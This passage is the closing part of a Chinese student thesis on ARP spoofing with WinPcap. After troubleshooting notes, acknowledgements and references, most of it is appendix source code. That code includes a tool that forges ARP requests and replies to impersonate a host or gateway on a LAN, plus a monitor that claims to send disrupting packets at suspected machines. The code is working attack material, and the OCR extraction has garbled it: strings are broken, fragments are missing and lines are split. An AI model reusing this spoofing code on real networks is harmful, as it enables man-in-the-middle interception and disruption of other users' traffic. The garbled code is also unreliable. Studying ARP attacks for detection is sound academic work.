设置。如在E:\\bszyj\\wpdpack,则设置如图7.1和图7.2所示。

图7.1

图7.2

2.在设计程序中,经常要删除某一功能时,习惯先删除代码,从而引出如下问题。

如图7.3所示。 Output Window Linking...

ArpCheaterDlg.obj : error LNK2001: unresolved external symbol \"protected: void

__thiscallCArpCheaterDlg::OnButtongetmac(void)\"(?OnButtongetmac@CArpCheater

Dlg@@IAEXXZ) 30

Debug/ArpCheater.exe : fatal error LNK1120: 1 unresolved externals Error executing link.exe.

Creatingcommandline\"bscmake.exe/nologo/o\"Debug/ArpCheater.bsc\" .\\Debug\\Std

Afx.sbr .\\Debug\\ArpCheater.sbr .\\Debug\\ArpCheaterDlg.sbr .\\Debug\\ArpSocket.

sbr .\\Debug\\ConnectDlg.sbr\" Creating browse info file... Results

ArpCheater.exe - 2 error(s), 0 warning(s) 解决方法:

在基本软件应用中如果要删除某功能,应该先是从向导里面删除其功能,然后再删

除代码,最后删除代码。

3. 添加CSocket之后需在主程序中添加#include ,可是在winsock

的头文件中包含有部分参数,会提示重复定义的错误提示。

解决方法:在stdafx.h添加#include 和#include

在实际工程应用中,还遇到了很多问题,这里只是简介了一下配置时头文件的问题

和常见的问题进行简要的说明。 31 致 谢

本次毕业设计从开始的课题选择、理解课题、VC++6.0软件学习到程序编写及功能的设计实现,总共历时5个月的时间。在本次毕业设计中,开荒阶段对数据链路层ARP协议的解析理解是最难的,从对系统的认识理解到预计的基本功能的实现,运用通用的模块化设计方法实现了基本的功能。

本论文的顺利完成,得到了指导老师的精心指导,把握方向的远见卓识都给了我极大的启发和益处。从论文的调研、立题,到每一个细节的工作,特别是在解决问题的思想上老师给我了很多关键性的意见,包括对论文的逐字、逐句、逐行的修改和审阅,都倾注了老师的辛勤的劳动。在毕业设计期间,得到了老师的无微不至的关怀和耐心的帮助,给我了很多理论上的帮助,并且努力培养我的科研的能力,这些都将是我今后人生道路上不可多得的财富。我特此对老师表示衷心的感谢。

在论文完成之际,谨向在毕业实践和书写论文过程中所有培养、关心、帮助过我的领导、老师和同学表示我最衷心的感谢~四年的大学时光即将过去,感谢老师这些年来对我的教育培养,我从他们身上收益匪浅,老师们的教诲我终身难忘。在四年的学习和生活中,有过很多的老师和同学给过我帮助和关怀,学校为我们提供了良好的学习环境和条件,让我们充分自由的尽可能按自己的个性爱好发展自我。

32

参考文献

[1] 汪洋,祝跃飞,刘胜利,张长河,交换式局域网监听技术研究与实现[J].计算

机应用研究,2005

[2] 周明天,TCP/IP网络原理与技术[M].北京:清华大学出版社1994 [3] 郭浩,郭涛,一种基于ARP欺骗的中间人攻击方法及防范.信息安全与通信保密

[J],2005

[4] 王艳平,张越. Windows网络与通信程序设计[M].北京:人民邮电出版社,2006 [5] (日)小高知宏 著 叶明译,TCP/IP数据包分析程序篇[M],科学出版社,2002 [6] Andrew S.Tanenbaum著,潘爱民译. 计算机网络(第4版)[M]. 清华大学出

版社, 2004.8

[7] Anthony Jones,Jim hlund.Windows 网络编程[M].杨合庆译,北京:清华大

学出版社,2002

[8] 徐丹,黎俊伟,高传善,基于Ethernet的网络监听以及ARP欺骗[J].计算机应

用与软件,2005

[9] (日)井口信和著 吴松芝,董江洪译,TCP/IP网络工具篇[M],科学出版 社,2003

[10] 郑莉,董渊,张瑞丰,C++语言程序设计[M].北京:清华大学出版社,2003 [11] 谭浩强,C语言程序设计[M],清华大学出版社,2006 [12] 张忠帅编著,VC++2008专题应用程序开发实例精讲[M],电子工业出版社,

2008

[13] 孙鑫,余安萍 [M],VC++深入详解, 电子工业出版社,2006 [14] (日)村山公保著 冯杰,闫鲁生译,TCP/IP网络实验程序篇[M],科学出版

社,2003 33 附录

一:欺骗攻击程序源代码 //ArpCheat.cpp #include #include #include #include #include #include \"ArpCheat.h\"

int main(int argc,char* argv[]){ pcap_if_t *alldevs; //全部网卡列表 pcap_if_t *d; //一个网卡 int inum; //用户选择的网卡序号 int i=0; //循环变量

pcap_t *adhandle; //一个pcap实例

char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区 unsigned char *mac; //本机MAC地址 unsigned char *packet; //ARP包

unsigned long fakeIp; //要伪装成的IP地址 pcap_addr_t *pAddr; //网卡地址 unsigned long ip; //IP地址

unsigned long netmask; //子网掩码 if(argc!=2){

printf(\"Usage: %s inet_addrn\return -1; }

//从参数列表获得要伪装的IP地址 fakeIp = inet_addr(argv[1]);

if(INADDR_NONE==fakeIp){ fprintf(stderr,\"Invalid IP: %sn\

return -1; }

/* 获得本机网卡列表 */

if (pcap_findalldevs( &alldevs, errbuf) == -1) {

fprintf(stderr,\"Error in pcap_findalldevs: %sn\exit(1); }

/* 打印网卡列表 */

for(d=alldevs; d; d=d->next) { printf(\"%d\if (d->description)

printf(\". %sn\printf(\". No description availablen\"); }

//如果没有发现网卡

if(i==0) {

printf(\"nNo interfaces found! Make sure WinPcap is installed.n\"); return -1; } 34

//请用户选择一个网卡

printf(\"Enter the interface number (1-%d):\//如果用户选择的网卡序号超出有效范围,则退出 if(inum < 1 || inum > i) {

printf(\"\\nInterface number out of range.\\n\"); /* Free the device list */

pcap_freealldevs(alldevs); return -1; }

/* 移动指针到用户选择的网卡 */

for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); //printf(\"程序中断处\");

/* 打开网卡 */

if ( (adhandle= pcap_open_live(d->name, // name of the device 65536, // portion of the packet to capture 0, //open flag 1000, // read timeout

// authentication on the remote machine errbuf // error buffer

) ) == NULL) {

fprintf(stderr,\"nUnable to open the adapter. %s is not supported by WinPcapn\

d->name);

pcap_freealldevs(alldevs); return -1; }

printf(\"\\nlistening on %s...\\n\%s ...\

mac = GetSelfMac(d->name); //+8以去掉\"rpcap://\"

printf(\"发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\\n\

//printf(\"\\n wel %s ...\pAddr=pAddr->next) {

//得到用户选择的网卡的一个IP地址

ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr; //得到该IP地址对应的子网掩码

netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr;

if ((!ip) || (!netmask)) { continue; }

//看看这个IP和要伪装的IP是否在同一个子网 if((ip&netmask)!=(fakeIp&netmask)) {

(ip&netmask)==(fakeIp&netmask);

continue; //如果不在一个子网,继续遍历地址列表 }

//printf(\"\\n welhuhuh ...\");

unsigned long netsize = ntohl(~netmask); //网络中主机数 unsigned long net = ip & netmask; //子网地址 for(unsigned long n=1; nunsigned long destIp = net | htonl(n); //构建假的ARP请求包,达到本机伪装成给定的IP地址的目的

packet = BuildArpPacket(mac,fakeIp,destIp); if(pcap_sendpacket(adhandle, packet, 60)==-1) { fprintf(stderr,\"pcap_sendpacket error.n\"); } } }

35 return 0; } /**

* 获得网卡的MAC地址 * pDevName 网卡的设备名称 */

unsigned char* GetSelfMac(char* pDevName){ static u_char mac[6];

memset(mac,0,sizeof(mac));

LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { return NULL; }

PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));

if (OidData == NULL) {

PacketCloseAdapter(lpAdapter); return NULL; }

// Retrieve the adapter MAC querying the NIC driver

OidData->Oid = OID_802_3_CURRENT_ADDRESS; OidData->Length = 6; memset(OidData->Data, 0, 6);

BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData); if(Status) {

memcpy(mac,(u_char*)(OidData->Data),6); } free(OidData);

PacketCloseAdapter(lpAdapter); return mac; } /**

* 封装ARP请求包

* source_mac 源MAC地址 * srcIP 源IP * destIP 目的IP */

unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP,unsigned long destIP) { static struct arp_packet packet;

//目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF memset(packet.eth.dest_mac,0xFF,6); //源MAC地址

memcpy(packet.eth.source_mac,source_mac,6); //上层协议为ARP协议,0x0806

packet.eth.eh_type = htons(0x0806); //硬件类型,Ethernet是0x0001 packet.arp.hardware_type = htons(0x0001); //上层协议类型,IP为0x0800

packet.arp.protocol_type = htons(0x0800); //硬件地址长度:MAC地址长度为0x06

packet.arp.add_len = 0x06; //协议地址长度:IP地址长度为0x04 packet.arp.pro_len = 0x04; //操作:ARP请求为1

packet.arp.option = htons(0x0001); //源MAC地址 memcpy(packet.arp.sour_addr,source_mac,6); //源IP地址 packet.arp.sour_ip = srcIP; 36

//目的MAC地址,填充0

memset(packet.arp.dest_addr,0,6); //目的IP地址 packet.arp.dest_ip = destIP; //填充数据,18B

memset(packet.arp.padding,0,18); return (unsigned char*)&packet; } 二(服务器主窗体源程序代码

// ArpSevDlg.cpp : implementation file #include \"stdafx.h\" #include \"ArpSev.h\" #include \"ArpSevDlg.h\" #include \"WaitDlg1.h\" #include \"ListenSocket.h\" #include \"ArpSevSocket1.h\" #ifdef _DEBUG

#define new DEBUG_NEW #undef THIS_FILE

static char THIS_FILE[] = __FILE__; #endif CListenSocket* pSocket; //监听套节字

/////////////////////////////////////////////////////////////////////////////

void CArpSevDlg::OnCancel() {// TODO: Add extra cleanup here if (m_Recv.IsEmpty() ) {

AfxMessageBox(_T(\"没有进行任何连接!\")); return; }

m_connectionList.AddTail(m_pSocket); SendMsg(\"服务器退出连接\");

if(AfxMessageBox(\"你确定退出吗?\CDialog::OnCancel(); }

void CArpSevDlg::OnBTNWait() {// TODO: Add your control notification handler code here

SocketWait(); }

BOOL CArpSevDlg::SocketWait() {//弹出初始话对话框 CWaitDlg1 dlg;

if (dlg.DoModal() == IDOK) {

AfxSocketInit();//Socket初始化 //创建监听套节字

pSocket = new CListenSocket(this); if (pSocket->Create(dlg.m_WAT_nPort+700)) {

if (pSocket->Listen()) {

return TRUE; } } else

return FALSE; } else

return FALSE; }

void CArpSevDlg::ShowMsg(CString Msg) 37 {

UpdateData(true); m_Recv=Msg; UpdateData(false); }

void CArpSevDlg::ProcessPendingAccept() { //生成一个新的套节字与客户端通讯 m_pSocket = new CArpSevSocket(this); if (pSocket->Accept(*m_pSocket)) {

//将该套节字保存起来

m_connectionList.AddTail(m_pSocket);

SendMsg(\"连接成功等待服务器发送正确MAC地址\"); } else

delete m_pSocket; }

void CArpSevDlg::ProcessPendingRead() {

//定义缓冲区

char buffer[BUFFER_SIZE];

int nReceived = m_pSocket->Receive(buffer,BUFFER_SIZE,0); buffer[nReceived] = 0; ShowMsg(buffer); }

void CArpSevDlg::OnBTNSend() {

// TODO: Add your control notification handler code here UpdateData(TRUE); CString a;

GetDlgItemText(IDC_EDT_Send,a); SendMsg(a); }

void CArpSevDlg::SendMsg(CString strMsg) { CString str;

str.Format(\"%s\

m_pSocket->Send(str.GetBuffer(0),str.GetLength(),0); }

三(监控系统主窗体源程序代码

// ArpCheaterDlg.cpp : implementation file #include \"stdafx.h\" #include \"ArpCheater.h\" #include \"ArpCheaterDlg.h\"

#include \"ConnectDlg.h\" #include \"ArpSocket.h\" #include \"PCAP.h\" #include #ifdef _DEBUG

#define new DEBUG_NEW #undef THIS_FILE

static char THIS_FILE[] = __FILE__; #endif

#pragma comment(lib, \"Packet\") #pragma comment(lib, \"wpcap\") #pragma comment(lib , \"ws2_32\") #define ARPVERSION \"ArpTool (Cheater,Protector,Attacker,Detector) \"

enum{

MAC_ADDR_LEN = 6, // mac地址的长度 IP_ADDR_LEN = 4 // IP地址的长度 38 }; enum{

MAX_ADAPTERS = 16 //最大的网络适配器数量 }; enum{

ETH_TYPE = 0x0806 , IP_TYPE = 0x0800 }; enum {

ARP_HARDWARE = 0x0001 }; enum{

ARP_REQUEST = 0x0001 , //arp request ARP_REPLY = 0x0002 , //arp reply }; /*

* 定义以太网帧的结构

* 0 15 31 47 * +--------+--------+--------+--------+--------+--------+ * | 宿的mac地址 |

* +--------+--------+--------+--------+--------+--------+ * | 源的mac地址 |

* +--------+--------+--------+--------+--------+--------+ * | 0x0806 | 数据。。。

* +--------+--------+--------+--------+--------+--------+ * 0 15 31 47 */

typedef struct {

unsigned char eh_dst[MAC_ADDR_LEN]; //以太网目的地址 unsigned char eh_src[MAC_ADDR_LEN]; //以太网源地址 unsigned short eh_type; //以太网类型,默认0x0806 char data[1]; } ETH_t, *pETH_t; /*

* 定义ARP帧的结构

* 0 15 31 47 * +--------+--------+--------+--------+--------+--------+ * | 0x0001 | 0x0800(IP) | 0x06 | 0x04 | * +--------+--------+--------+--------+--------+--------+ * | opt | 源的mac地址 。。。

* +--------+--------+--------+--------+--------+--------+ * 。。。 | 源的ip地址 |

* +--------+--------+--------+--------+--------+--------+ * | 宿的mac地址 |

* +--------+--------+--------+--------+--------+--------+ * | 宿的ip地址 |

* +--------+--------+--------+--------+ * 0 15 31 47 */

typedef struct arphdr //arp头 {

unsigned short arp_hdr; // 硬件类型 Ethernet 0x0001 unsigned short arp_pro; // 协议类型,IP,0x0800 unsigned char arp_hln; // 硬件地址长度,mac地址长度 unsigned char arp_pln; // 协议地址长度,ip地址长度 unsigned short arp_opt; // [ request | reply| response ] unsigned char arp_sha[MAC_ADDR_LEN]; // 发送端以太网地址 unsigned long arp_spa; // 发送端ip地址

unsigned char arp_tha[MAC_ADDR_LEN]; // 接收端以太网地址 unsigned long arp_tpa; // 接收端ip地址 39

} ARP_t, *pARP_t; typedef struct { char name[]; char description[]; } Adapter_t,*pAdapter_t; pAdapter_t curr_adapter ;

static Adapter_t adapters[ MAX_ADAPTERS ] ; static unsigned int adapter_counts = 0; bool isMonitorArp=false;

char error[PCAP_ERRBUF_SIZE]; bool isCheckingMac = false; CString vaildipaddress; unsigned char p_getedmac[6];

char sendbuf[256],protectbuff[256]; bool isResume = false; bool stopsend = true; bool sentmark =false; std::vector iplist;

std::vector::iterator piplist; UINT intertime = 0; pETH_t pE,pPE; pARP_t pA,pPA ;

unsigned char da[6]; // 目标mac地址 unsigned char sa[6]; //伪装的mac地址 unsigned char ta[6]; //目标主机真实的MAC //unsigned char mymac[6];//当前网卡地址 char gateway_addr[16]; //伪装的IP地址

char sendto_addr[16]; //目标IP

////////////////////////////ARP Cheater // CAboutDlg dialog used for App About

/////////////////////////////////////////////////////////////////////////////

// CArpCheaterDlg message handlers BOOL CArpCheaterDlg::OnInitDialog() {

// if(CreateMutex(NULL, true, \"ArpCheater\") != NULL ) // {

// if(GetLastError() == ERROR_ALREADY_EXISTS ) // {

// AfxMessageBox(\"已经有一个程序启动了。\"); // exit(0); // } // }

CDialog::OnInitDialog();

// Add \"About...\" menu item to system menu.

// IDM_ABOUTBOX must be in the system command range. ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000);

CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) {

CString strAboutMenu;

strAboutMenu.LoadString(IDS_ABOUTBOX); if (!strAboutMenu.IsEmpty()) {

pSysMenu->AppendMenu(MF_SEPARATOR);

pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } }

// Set the icon for this dialog. The framework does this automatically

// when the application's main window is not a dialog 40

SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon MoveWindow(400,400,490,310); m_sendinterval = 1000; SetAdapter();

SetWindowText(ARPVERSION);

m_info = _T(\"完整模块功能显示操作。\\r\\n\");

m_arpmonitor = _T(\"这里显示一台局域网中可能在用网管软件的电脑。\\r\\n信息可能变化,说明多台电

脑在使用。\\r\\n选择网卡后自动启动。\"); UpdateData(false);

return TRUE; // return TRUE unless you set the focus to a control } void CArpCheaterDlg::OnSysCommand(UINT nID, LPARAM lParam)

{

if ((nID & 0xFFF0) == IDM_ABOUTBOX) {

CAboutDlg dlgAbout; dlgAbout.DoModal(); } else {

CDialog::OnSysCommand(nID, lParam); } }

UINT GetCorrectMac(LPVOID lpParam) { int k,i;

CEdit *pinfo = (CEdit*)lpParam; pcap_t *pfp;

char mac1[18],mac2[18]; char result[1000]; mac1[0]=mac2[0]='\\0';

if( (pfp = pcap_open_live( curr_adapter->name , 100, 0, 1, error ) ) == NULL )

{

AfxMessageBox(_T(\"打开网卡句柄失败~请检查是否安装了最新的WinPcap或者填写了正确的设置。

\")); return 0 ; } /*

* 定义ARP帧的结构 *

* 0 15 31 47

* +--------+--------+--------+--------+--------+--------+ * | 0x0001 | 0x0800(IP) | 0x06 | 0x04 |

* +--------+--------+--------+--------+--------+--------+ * | opt | 源的mac地址 。。。

* +--------+--------+--------+--------+--------+--------+ * 。。。 | 源的ip地址 |

* +--------+--------+--------+--------+--------+--------+ * | 宿的mac地址 |

* +--------+--------+--------+--------+--------+--------+ * | 宿的ip地址 |

* +--------+--------+--------+--------+ * 0 15 31 47 */

struct pcap_pkthdr *pkt_header; u_char *pkt_data;

while( isCheckingMac && (k=pcap_next_ex(pfp,&pkt_header,(const u_char**)&pkt_data))>=0 )

{ if (k==0)

continue; //2054=6+8*256 28为IP地址 41

if(*(unsigned short *)(pkt_data+12) == htons(2054) && *(unsigned short*)(pkt_data+20)==htons(ARP_REPLY) && *(unsigned long*)(pkt_data+28)==inet_addr(vaildipaddress))

{

for(i=0;i<6;i++) //得到源MAC {

p_getedmac[i]=*(unsigned char*)(pkt_data+22+i); }

sprintf(mac1,\"%02x-%02x-%02x-%02x-%02x-%02x\

c[3],p_getedmac[4],p_getedmac[5]); if (mac2[0]=='\\0') strcpy(mac2,mac1); if (strcmp(mac1,mac2)!=0) {

sprintf(result,\"\\r\\n*****实时监测网关和欺骗者MAC*****\\r\\n最多列出2个MAC\\r\\n

其中至少有一个是欺骗的!\\r\\nMAC1:%s\\r\\nMAC2:%s\\r\\n继续检测中...\\r\\n如果局域网有一台电脑进行欺骗,那么

以上至少有一个是真实网关。\\r\\n\

} else {

sprintf(result,\"\\r\\n*****实时监测网关和欺骗者MAC*****\\r\\nMAC:%s\\r\\n继续检测

中...\\r\\n\}

pinfo->SetWindowText(_T(result)); } }

pcap_close( pfp ); return 0; }

UINT StartArpMonitor(LPVOID lpParam) {int k;

CEdit *pinfo = (CEdit*)lpParam; pcap_t *pfp; char result[1000]; char rsendbuf[256]; pETH_t pEr; pARP_t pAr;

pEr = (pETH_t)rsendbuf ; pAr = (pARP_t)pEr->data; struct pcap_pkthdr *pkt_header;

u_char *pkt_data;

unsigned char mac1[6]={0},mac2[6]={0},mac3[6]={0};//rmac[6]={0} unsigned char iplastchar1=0,iplastchar2=0,iplastchar3=0; memset( rsendbuf , 0 , 256 ); pEr->eh_type = htons( ETH_TYPE ); pAr->arp_hdr = htons( ARP_HARDWARE ); pAr->arp_pro = htons( IP_TYPE ); pAr->arp_opt = htons( ARP_REPLY ); pAr->arp_hln = MAC_ADDR_LEN; pAr->arp_pln = IP_ADDR_LEN; while(isMonitorArp) {

if((pfp = pcap_open_live( curr_adapter->name , 100, 0, 1, error ) ) == NULL )

{

AfxMessageBox(_T(\"试图启动监视局域网中使用控制软件的电脑失败。无法打开当前网卡!\"));

isMonitorArp = false; return 0; }

pinfo->SetWindowText(_T(\"对当前选中网卡局域网络实行可疑计算机发现...\\r\\n当发现可疑的计

算机时会主动发送干扰数据以终止其控制网络。\")); //AfxMessageBox(_T(\"ok!\"));

42

//return 0;

while( isMonitorArp && (k=pcap_next_ex(pfp,&pkt_header,(const u_char**)&pkt_data))>=0 )

{ if (k==0) continue;

//协议必须为ARP REQUEST

if (*(unsigned short *)(pkt_data+12) == htons(2054) && *(unsigned short*)(pkt_data+20)==htons(1)) { /*

* 定义ARP帧的结构 *

* 0 15 31 47

* +--------+--------+--------+--------+--------+--------+ * | 0x0001 | 0x0800(IP) | 0x06 | 0x04 |

* +--------+--------+--------+--------+--------+--------+ * | opt | 源的mac地址 。。。

* +--------+--------+--------+--------+--------+--------+ * 。。。 | 源的ip地址 |

* +--------+--------+--------+--------+--------+--------+ * | 宿的mac地址 |

* +--------+--------+--------+--------+--------+--------+

* | 宿的ip地址 |

* +--------+--------+--------+--------+ * 0 15 31 47 */

if(*(unsigned char*)(pkt_data+37)==255 || *(unsigned char*)(pkt_data+37)==0)

{

//普通MAC获得扫描

memcpy(mac3,mac2,6*sizeof(unsigned char));

memcpy(mac2,mac1,6*sizeof(unsigned char));//复制网关 iplastchar3 = iplastchar2; iplastchar2 = iplastchar1;

memcpy(mac1,pkt_data+22,6*sizeof(unsigned char)); iplastchar1 = *(unsigned char*) (pkt_data+41); //mac地址判断

if (memcmp(mac1,mac2,6*sizeof(unsigned char)) != 0 ||

memcmp(mac2,mac3,6*sizeof(unsigned char)) != 0)//判断ture or false continue; //相等为false 不相等为ture //sprintf(result,\"%s%c\//IP判断

// if (iplastchar1 != iplastchar2 + 1 || iplastchar2 != iplastchar3 + 1)

// continue;

sprintf(result,\"发现可疑计算机>>>\\r\\n动作类型:全网段扫描\\r\\nIP地

址:\\r\\n%d.%d.%d.%d\\r\\nMAC地址:\\r\\n%02x-%02x-%02x-%02x-%02x-%02x\

char*)(pkt_data+28),*(unsigned char*)(pkt_data+29),*(unsigned char*)(pkt_data+30),*(unsigned

char*)(pkt_data+31),mac1[0],mac1[1],mac1[2],mac1[3],mac1[4],mac1[5]); pinfo->SetWindowText(_T(result)); } } }

pcap_close( pfp ); } return 0; }

//线程函数

UINT SendArpPacket(LPVOID lpParam ) {

char runbuf[256];

std::vector localiplist; pcap_t *fp; 43

pETH_t pEth; pARP_t pArp;

pEth = (pETH_t)runbuf ; pArp = (pARP_t)pEth->data;

CString strParam; int m_localinter = 0; int i =0 ;

// printf(\"%s\

memcpy(runbuf,sendbuf,256*sizeof(char)); localiplist.assign(iplist.begin(),iplist.end()); m_localinter = intertime / 500; strParam = (LPCTSTR)lpParam;

///////////////////////////////////////////// ////////发包

if (strParam == _T(\"arpcheat\")) {

/////////////////////欺骗 while(!stopsend) {

//////////////////////////DEBUG piplist = iplist.begin();

if( (fp = pcap_open_live( curr_adapter->name , 100, 0, 1000, error ) ) == NULL)

{

AfxMessageBox(_T(\"打开网卡句柄失败~请检查是否安装了最新的WinPcap或者填写了正确

的设置。\")); return 0 ;

}

while(piplist != iplist.end()) {

pArp->arp_spa = inet_addr(*piplist);

pcap_sendpacket( fp, (u_char*)runbuf, sizeof( ETH_t )+sizeof( ARP_t ) -1 );

piplist++; }

pcap_close( fp ); if (intertime < 1000) {

Sleep(intertime); } else {

for(i=0;iif (stopsend) break; Sleep(500); } } } }

return 0; }

bool CArpCheaterDlg::InitArp() //要在CArpCheaterDlg.h里面声明 {

if (m_gatewaymac.IsEmpty() || m_forgemac.IsEmpty() || m_localmac.IsEmpty() ||

m_gatewayip.IsEmpty() || m_localip.IsEmpty() || (m_adapter.GetCurSel()==-1))

{

AfxMessageBox(_T(\"没有填写完整的设置项。如果初次使用,请查阅中文使用说明。\"));

return false; }

intertime = m_sendinterval;

///////////////////////////////////////////// 44

////////初始化数据

sscanf(m_gatewaymac,\"%x-%x-%x-%x-%x-%x\

sscanf(m_forgemac,\"%x-%x-%x-%x-%x-%x\

sscanf(m_localmac,\"%x-%x-%x-%x-%x-%x\

strcpy(sendto_addr,m_gatewayip);

strcpy(gateway_addr,m_localip);

///////////////////////////////////////////// ////////包构造

memset( sendbuf , 0 , 256 ); pE = (pETH_t)sendbuf ; pA = (pARP_t)pE->data;

pE->eh_type = htons( ETH_TYPE ); pA->arp_hdr = htons( ARP_HARDWARE ); pA->arp_pro = htons( IP_TYPE ); pA->arp_opt = htons( ARP_REPLY ); pA->arp_hln = MAC_ADDR_LEN; pA->arp_pln = IP_ADDR_LEN; memcpy( pE->eh_dst ,da , 6); memcpy( pA->arp_tha ,da , 6);

pA->arp_tpa = inet_addr( sendto_addr ); memcpy( pE->eh_src ,sa , 6); memcpy( pA->arp_sha ,sa , 6); return true; }

void CArpCheaterDlg::SetAdapter() {

pcap_if_t *alldevsp; pcap_if_t *nextdevsp; char errbuf[256] ;

unsigned int i ; / * Find All Adapter */

if( pcap_findalldevs( &alldevsp , errbuf ) == -1 ){ return ; }

nextdevsp = alldevsp;

while( nextdevsp && adapter_counts < MAX_ADAPTERS ){

strcpy( adapters[ adapter_counts ].name , nextdevsp->name ); strcpy( adapters[ adapter_counts ].description , nextdevsp->description );

adapter_counts ++;

nextdevsp = nextdevsp->next; }

pcap_freealldevs( alldevsp );

for( i = 0 ; i < adapter_counts ; i ++ ){

m_adapter.InsertString(i,(LPSTR)adapters[ i ].description ); //printf( \"[ %d ] : %s \\n\" , i + 1 , adapters[ i ].description ); } }

void CArpCheaterDlg::OnMenuitemexit() {

// TODO: Add your command handler code here exit(0); }

void CArpCheaterDlg::OnMenuitemexplain() {

// TODO: Add your command handler code here CAboutDlg dlg; dlg.DoModal(); }

void CArpCheaterDlg::OnButtonstartmonitor() {

// TODO: Add your control notification handler code here 45

UpdateData(true);

if (m_adapter.GetCurSel() == -1) {

AfxMessageBox(_T(\"请选择网卡后继续\")); return; }

((CButton*)GetDlgItem(IDC_BUTTONSTARTMONITOR))->EnableWindow(false); ((CButton*)GetDlgItem(IDC_BUTTONSTOPMONITOR))->EnableWindow(true); isMonitorArp = true;

CWinThread* m_pWinThread = AfxBeginThread(StartArpMonitor,(LPVOID) GetDlgItem(IDC_EDITEXISTCOMPUTER),THREAD_PRIORITY_NORMAL,0,0,0); m_pWinThread->m_bAutoDelete = true;

m_info += _T(\"\\r\\n**************\\r\\n被动探测开始~\\r\\n该功能监视局域网中的可能存在使用网络

管理工具的计算机。当发现时,将发送干扰数据以破坏其管理功能。\");

UpdateData(false); }

void CArpCheaterDlg::OnButtonstopmonitor() {

// TODO: Add your control notification handler code here /*UpdateData(true); isMonitorArp = false;

((CButton*)GetDlgItem(IDC_BUTTONSTARTMONITOR))->EnableWindow(true); ((CButton*)GetDlgItem(IDC_BUTTONSTOPMONITOR))->EnableWindow(false); m_arpmonitor = _T(\"检测局域网中可疑计算机已经停止!\");

m_info += _T(\"\\r\\n被动探测停止~\"); UpdateData(false);*/ }

void CArpCheaterDlg::OnSelchangeComboadapter() { // TODO: Add your control notification handler code here UpdateData(true);

curr_adapter = &adapters[ m_adapter.GetCurSel() ];

((CComboBox*)GetDlgItem(IDC_COMBOADAPTER))->EnableWindow(false); OnButtonstartmonitor(); }

void CArpCheaterDlg::OnMenuitemmore() {

// TODO: Add your command handler code here

if ( AfxMessageBox(\"该程序其他功能必须有一定网络基础的人使用,否则可能造成未知后果。注

意使用拓展功能时要选择网卡或者加载已存在的的配置文档\\r\\n---------\\r\\n你确定要显示其他功能

吗?\{

MoveWindow(400,100,700,540); CMenu *pMenu=GetMenu();

pMenu->EnableMenuItem(ID_MENUITEMMORE,MF_GRAYED); } }

void CArpCheaterDlg::OnButtonsave() {

// TODO: Add your control notification handler code here UpdateData(true);

if (m_adapter.GetCurSel() == -1) {

AfxMessageBox(_T(\"请选择网卡后继续\")); return; }

char *m_enterchar = {\"\\n\CString m_adaptername; CString m_filepath;

m_adapter.GetLBText(m_adapter.GetCurSel(),m_adaptername);

CFileDialog

m_MyOpenDialog(false,\"txt\\"All

46

Files (*.*)|*.*\

if (m_MyOpenDialog.DoModal()==IDOK) {

m_filepath = m_MyOpenDialog.GetPathName(); FILE *fp=NULL;

if ((fp=fopen(m_filepath,\"w\"))==NULL) {

//failed to open file

AfxMessageBox(_T(\"创建配置文件时出错。没有可写权限。\")); return; }

fputs(m_adaptername,fp); fputs(m_enterchar,fp); fputs(m_localip,fp); fputs(m_enterchar,fp); fputs(m_netmask,fp); fputs(m_enterchar,fp); fputs(m_localmac,fp); fputs(m_enterchar,fp); fputs(m_gatewayip,fp);

fputs(m_enterchar,fp); fputs(m_gatewaymac,fp); fputs(m_enterchar,fp); fputs(m_forgemac,fp); fputs(m_enterchar,fp);

fputs(\"This file created ArpTool(Config File).\fclose(fp); } }

void CArpCheaterDlg::OnButtonload() {// TODO: Add your control notification handler code here

UpdateData(true); CString m_filepath; CString m_adaptername; iplist.clear(); char temp[1000] = {0}; int m_selectString = -1; CFileDialog

m_MyOpenDialog(true,\"txt\\"All

Files (*.*)|*.*\

if (m_MyOpenDialog.DoModal()==IDOK) {

m_filepath = m_MyOpenDialog.GetPathName();

FILE *fp=NULL;

if ((fp=fopen(m_filepath,\"r\"))==NULL) {

//failed to open file

AfxMessageBox(_T(\"打开配置文件时出错。\")); return; }

fgets(temp,999,fp);//adapter name temp[strlen(temp)-1]='\\0'; m_adaptername = (LPSTR) temp;

m_selectString = m_adapter.SelectString(-1,m_adaptername); fgets(temp,999,fp);//local ip temp[strlen(temp)-1]='\\0'; iplist.push_back((LPSTR)temp); m_localip = (LPSTR) temp;

fgets(temp,999,fp);//local netmask temp[strlen(temp)-1]='\\0'; m_netmask = (LPSTR) temp; fgets(temp,999,fp);//local mac 47

temp[strlen(temp)-1]='\\0'; m_localmac = (LPSTR) temp; fgets(temp,999,fp);//gateway ip temp[strlen(temp)-1]='\\0';

m_gatewayip = (LPSTR) temp; fgets(temp,999,fp);//gateway mac temp[strlen(temp)-1]='\\0'; m_gatewaymac = (LPSTR) temp; fgets(temp,999,fp);//forge mac temp[strlen(temp)-1]='\\0'; m_forgemac = (LPSTR) temp; fclose(fp); UpdateData(false); if (m_selectString == -1) {

AfxMessageBox(_T(\"配置文件中的网卡没有找到,不同计算机不适合用同一个配置文件~\"));

} else {

OnSelchangeComboadapter();

m_adapter.SetCurSel(m_selectString); } } }

void CArpCheaterDlg::OnButtonprotect() {

// TODO: Add your control notification handler code here CString strArpCmd;

pdateData(true); U //////////恢复本机的 if (!isResume) {

if (isCheckingMac) {

AfxMessageBox(_T(\"注意~当前正在监测网关和欺骗ARP数据。\\n程序并不探测辅助程序是否

